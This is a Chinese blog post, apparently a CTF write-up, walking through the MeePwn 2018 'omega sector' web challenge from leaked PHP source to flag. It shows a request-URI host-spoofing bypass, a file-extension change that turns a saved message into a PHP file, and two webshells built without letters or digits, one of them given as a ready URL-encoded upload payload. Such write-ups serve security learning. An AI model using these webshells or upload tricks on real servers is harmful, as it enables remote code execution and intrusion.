有人神奇地要用我之前写的这篇博客修改之后交作业,所以搬到这边来了
================分割线=====================
自己也是太菜了,没有做出来,看了别人的wp,复现之来后记录一下。
访问之后先看源码,发现提示is_debug=1,访问http://138.68.228.12/?is_debug=1获得源码:
<?php ob_start(); session_start(); ?> <html> <style type="text/css">* {cursor: url(assets/maplcursor.cur), auto !important;}</style> <head> <link rel="stylesheet" href="assets/omega_sector.css"> <link rel="stylesheet" href="assets/tsu_effect.css"> </head> <?php ini_set("display_errors", 0); include('secret.php'); $remote=$_SERVER['REQUEST_URI']; if(strpos(urldecode($remote),'..')) { mapl_die(); } if(!parse_url($remote, PHP_URL_HOST)) { $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; } $whoareyou=parse_url($remote, PHP_URL_HOST); if($whoareyou==="alien.somewhere.meepwn.team") { if(!isset($_GET['alien'])) { $wrong = <<<EOF <h2 id="intro" class="neon">You will be driven to hidden-street place in omega sector which is only for alien! Please verify your credentials first to get into the taxi!</h2> <h1 id="main" class="shadow">Are You ALIEN??</h1> <form id="main"> <button type="submit" class="button-success" name="alien" value="Yes">Yes</button> <button type="submit" class="button-error" name="alien" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if(isset($_GET['alien']) and !empty($_GET['alien'])) { if($_GET['alien']==='@!#$@!@@') { $_SESSION['auth']=hash('sha256', 'alien'.$salt); exit(header( "Location: alien_sector.php" )); } else { mapl_die(); } } } elseif($whoareyou==="human.ludibrium.meepwn.team") { if(!isset($_GET['human'])) { echo ""; $wrong = <<<EOF <h2 id="intro" class="neon">hellu human, welcome to omega sector, please verify your credentials to get into the taxi!</h2> <h1 id="main" class="shadow">Are You Human?</h1> <form id="main"> <button type="submit" class="button-success" name="human" value="Yes">Yes</button> <button type="submit" class="button-error" name="human" value="No">No</button> </form> <img src="assets/taxi.png" id="taxi" width="15%" height="20%" /> EOF; echo $wrong; } if(isset($_GET['human']) and !empty($_GET['human'])) { if($_GET['human']==='Yes') { $_SESSION['auth']=hash('sha256', 'human'.$salt); exit(header( "Location: omega_sector.php" )); } else { mapl_die(); } } } else { echo '<h2 id="intro" class="neon">Seems like you are not belongs to this place, please comeback to ludibrium!</h2>'; echo '<img src="assets/map.jpg" id="taxi" width="55%" height="55%" />'; if(isset($_GET['is_debug']) and !empty($_GET['is_debug']) and $_GET['is_debug']==="1") { show_source(__FILE__); } } ?> <body background="assets/background.jpg" class="cenback"> </body> <!-- is_debug=1 --> <!-- All images/medias credit goes to nexon, wizet --> </html> <?php ob_end_flush(); ?>
关键在于
$remote=$_SERVER['REQUEST_URI'];
if(strpos(urldecode($remote),'..'))
{
mapl_die();
}
if(!parse_url($remote, PHP_URL_HOST))
{
$remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$whoareyou=parse_url($remote, PHP_URL_HOST);
if($whoareyou==="alien.somewhere.meepwn.team")
显然要让$whoareyou可控,刚开始不知道怎么做,以为要构造后面的REQUEST_URI来凑,后来看到trello里航神的提示知道可以这样:
在Burp中将上方的URI改为http://alien.somewhere.meepwn.team/?alien=%40%21%23%24%40%21%40%40
这样parse_url解析出来的host就是alien.somewhere.meepwn.team,后面的alien=是url编码后的@!#$@!@@
结果如图所示,跟代码逻辑一样,302重定向到alien_sector.php
再向alien_sector.php发送请求
可以看到可以访问了
如果没有这一步,直接访问会是这样(方便起见直接用浏览器访问了):
应该是经过重定向之前那步之后,cookie的sessionid会用来标志有权限访问。
刚才这个是alien的,human那边同理。
访问alien_sector.php和omega_sector.php
发现外星人那边全是蜜汁符号(大概是外星人的语言吧)
人类这边就能看懂了
尝试了一下输入,大概是让留言,然后留言会被存储在服务器上(吐槽一下,点了save之后会响起蜜汁音乐,吓我一跳)。
存储文件的后缀是human(外星人那边是alien),抓包看看
明文传输,而且后缀是可以改成php的!
那明显是要上传一个shell了,然鹅。。。。接下来就不会做了。
事后看wp复现,翻译总结一下:
从外星人的页面,可以留言除了字母和数字以外的内容(奇妙的外星语言)。
从人类的页面,只能留言字母和数字,没有其他字符包括空格、换行符。
不带数字和字母的webshell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$_=[]; $_=@"$_"; $_=$_['!'=='@']; $___=$_; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $___.=$__; $__=$_; $__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__; $____='_'; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $__=$_; $__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $____.=$__; $_=$$____; $___($_[_]); |
然而会得到提示,不能超过40个字符
来自题目作者的极度凶残的webshell:
1 2 |
"`{{{"^"?<>/";${$_}[_](${$_}[__]); =$_=// equivalent to $_GET[_]($_GET[__]); |
刚开始是 `{{{ 和 ?<>/ 做异或,得到 _GET ,所以第一部分是$_="_GET",一个字符串变量。
后面的${$_},可以查一下php的variable variables
在这里里面的$_先解析成_GET,然后成为变量,得到$_GET
所以最终等价于<?=$_GET[_]($_GET[__]);
在burp中将给外星人发送的数据改成
message=%3C%3F%3D%24_%3D%22%60%7B%7B%7B%22%5E%22%3F%3C%3E%2F%22%3B%24%7B%24_%7D%5B_%5D%28%24%7B%24_%7D%5B__%5D%29%3B&type=php
然后访问
即可获得flag
参fan考yi的wp:https://rawsec.ml/en/MeePwn-2018-write-up/#omegasector-web